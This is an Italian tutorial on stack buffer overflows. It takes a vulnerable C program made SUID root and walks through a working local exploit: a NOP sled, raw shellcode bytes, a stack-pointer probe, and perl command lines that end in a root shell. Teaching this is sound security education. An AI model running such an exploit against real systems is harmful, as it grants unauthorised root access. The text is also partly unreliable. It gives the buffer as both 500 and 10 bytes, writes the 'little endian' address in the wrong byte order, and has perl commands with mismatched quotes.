Introduzione ai buffer overflows

Esempio Buffer overflow su un sistema non opportunamente protetto.

Il C è un linguaggio che dà al programmatore libero arbitrio per quanto concerne l'allocazione della memora, indi per cui le responsabilità circa quest'ultima ricadono esclusivamente a lui.
Questo accade perchè lasciando al compilatore il compito di vagliare il sorgente per assicurarsi l'integrità dei dati causerebbe la produzione di binari lenti e diminuirebbero le possibilità di controllo del codice dal programmatore, il tutto implica una complicazione del linguaggio: e questa non è cosa sana.
Il dover allocare e, successivamente, liberare memoria per una variabile espone (vuoi per distrazione, vuoi per ignoranza) il codici a molti rischi che, il più delle volte, si traducono in buffer overflows.
Facciamo un esempio palese: qualora il programmatore volesse inserire 15 byte in un buffer cui sono destinati (allocati) esclusivamente 10 byte la cosa gli sarebbe consentita ma il programma, molto probabilmente crasherebbe.
Questa situazione viene denominata overflow del buffer che sta a significare, per l'appunto, l'eccedenza di byte che strariperanno al di fuori dello spazio di memoria allocato  (nel nostro caso 5 byte).

Vediamo subito un esempio:
#include <stdio.h>
int
main(argc, argv)
int argc;
char **argv;
{
char stringa[500];
if (argv[1]) {
strcpy(stringa, argv[1]);
fprintf(stdout, “hai digitato: %s\n”, stringa);
exit(0);
} else {
fprintf(stdout, “Inserisci una stringa come primo argomento !\n”);
exit(-1);
}
}

Compiliamolo e facciamo qualche prova:

$ gcc overflow.c -o overflow
$ ./overflow prova
hai digitato: prova                        -> fin quì tutto OK
$ ./overflow `perl -e “print 'A'x600;`
Segmentation fault                        -> cosa succede ? :-)


Quando cerchiamo di scrivere circa 20/25 byte nel nostro buffer da 10 byte vediamo
che il nostro programma crasha inspiegabilmente.
Questo perchè i byte che straripano al di fuori del nostro buffer vanno a sovrascrivere
il puntatore dello stack frame e l'indirizzo di funzione.

Quando l'esecuzione del programma verrà stoppata automaticamente questo cercherà
l'indirizzo di ritorno che, nel nostro caso, è riempito di “A”: in questa maniera il puntatore EIP punterà a 0x41414141 (rappresentazione esadecimale di AAAA).
Questo indirizzo è ovviamente fittizio e non porta a nessuna zona di memoria utilizzabile,
questo è, per l'appunto, ciò che causa il crash....

E se al posto di immettere una serie di “A” inserissimo qualcos'altro ?
Se al posto di un indirizzo a casa mettessimo un indirizzo effettivamente esistente... il programma ritornerebbe magicamente a quel che vogliamo.
Entra in gioco, quindi, l'iniezione di un bytecode, ossia uno spezzone di codice
che permette l'esecuzione autonoma di quel che vogliamo.
Il bytecode per eccellenza è lo shellcode che, in genere, spana una shell.
Proiettiamoci quindi nell'ottica di un software con bit SUID attivo e vediamo,  attraverso un esempio pratico, come spanare una shell di root attraverso del codice “malsano

Consideriamo il codice dell'esempio precedente ed attribuiamo al suo eseguibile il
bit suid attraverso CHMOD.
# ls -n overflow
-rwxr-xr-x  1 1000 100 11470 2005-11-21 19:05 overflow
# chown root overflow
# chmod +s overflow
# ls -n overflow
-rwsr-sr-x  1 0 100 11470 2005-11-21 19:05 overflow


Dobbiamo scrivere ora un exploit che ci permetta di sfruttare questa vulnerabilità e per farlo questo dovrà contenere lo shellcode necessario per spanare una shell e dovrà sovrascrivere il nostro indirizzo di ritorno nello stack in maniera da far eseguire lo shellcode, vediamo come fare.

Iniziamo col dire che i quattro byte all'interno dei quali è contenuto l'indirizzo di ritorno devono essere sovrascritti con il valore dell'indirizzo dello shellcode che non è noto nel caso di uno stack che cambia dinamicamente.

Ricorreremo alla tecnica della slitta delle istruzioni nulle (NOP sled).

Si tratta di istruzioni che non eseguono nulla e, pertanto consentono di eseguire dei
cicli, come dire, a “vuoto”.

Faremo quindi precedere al nostro shellcode un array di NOP: riflettiamo, qualora
il puntatore EIP andasse in X indirizzo e questo X indirizzo fosse contenuto nell'array
dei NOP verrà automaticamente innescata la reazione a catena finquando, passando da
NOP a NOP, l'istruzione non andrà a cadere proprio al nostro shellcode.

Abbiamo anche un'altra tecnica per iniettare il nostro shellcode.

Possiamo, infatti, riempire la parte finale del buffer con tante instanze dell'indirizzo,
nella mischia, probabilmente uno verrà ritornato puntandoci allo shellcode.

A questo punto, conosciute le tecniche, non ci resta altro da fare che conoscere dove il
buffer viene memorizzato approssimaticamente e per farlo useremo lo stack pointer.
Per fare questo dovremo determinare il nostro offset, ossia quel numero ottenuto sottraendo un determinato valore dallo stack pointer.
Nel nostro programma, il primo elemento che andiamo ad inizializzare a livello di memoria
è proprio il buffer (char stringa[10]) indi per cui il nostro offset sarà presumibilmente circa 0.
In questa sede eviteremo la trattazione dell'exploit in C, soffermandoci essenzialmente sui punti cardini del nostro attacco.

Per far questo utilizzeremo perl.

Dobbiamo, in primo luogo, creare il NOP sled. Proviamo, quindi, in perl, una cosa del tipo:
$ ./overflow `perl -e 'print "\x90"x200;"`
Ciò però non basta (stiamo solo “NOP”pando l'eseguibile), salviamo per comodità lo shellcode in un file:
$ echo "\x29\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x01\x40\x4e\x9f\x83\ /
xeb\xfc\xe2\xf4\x6b\x4b\x16\x06\x53\x26\x26\xb2\x62\xc9\xa9\xf7\x2e\x33\x26\x9f\x69\x6f\x2c\xf6\/
x6f\xc9\xad\xcd\xe9\x48\x4e\x9f\x01\x6f\x2c\xf6\x6f\x6f\x3d\xf7\x01\x17\x1d\x16\xe0\x8d\xce\x9f"/
> scode


Il nostro shellcode è di 68 byte ed unito ai 200 byte di NOP si ottiengono 268 byte.

Utilizziamo un semplice programmino per vedere orientativamente dove si trova il nostro stack pointer:
#include <stdio.h>
#include <stdlib.h>
unsigned long
got_esp( void )
{
        asm("movl %esp, %eax");
}
int
main( void )
{
        long esp = got_esp();
        fprintf(stdout, "0x%x\n", esp);
        exit(0);
}


$ ./gotsp
0xbfb8cec8

Sappiamo quindi che il nostro stack pointer si trova orientativamente all'indirizzo
0xbfb8cec8 e che trasformandolo in little endian diventerà: \xbf\xb8\xce\xc8.

Procediamo...

$ ./overflow `perl -e 'print "\x90"x200;"` `cat scode `perl -e 'print “\xbf\xb8\xce\xc8”x95;'`

Se i conti sono stati fatti bene il risultato sarà il seguente:
bash-3.00# whoami
root

Privacy Policy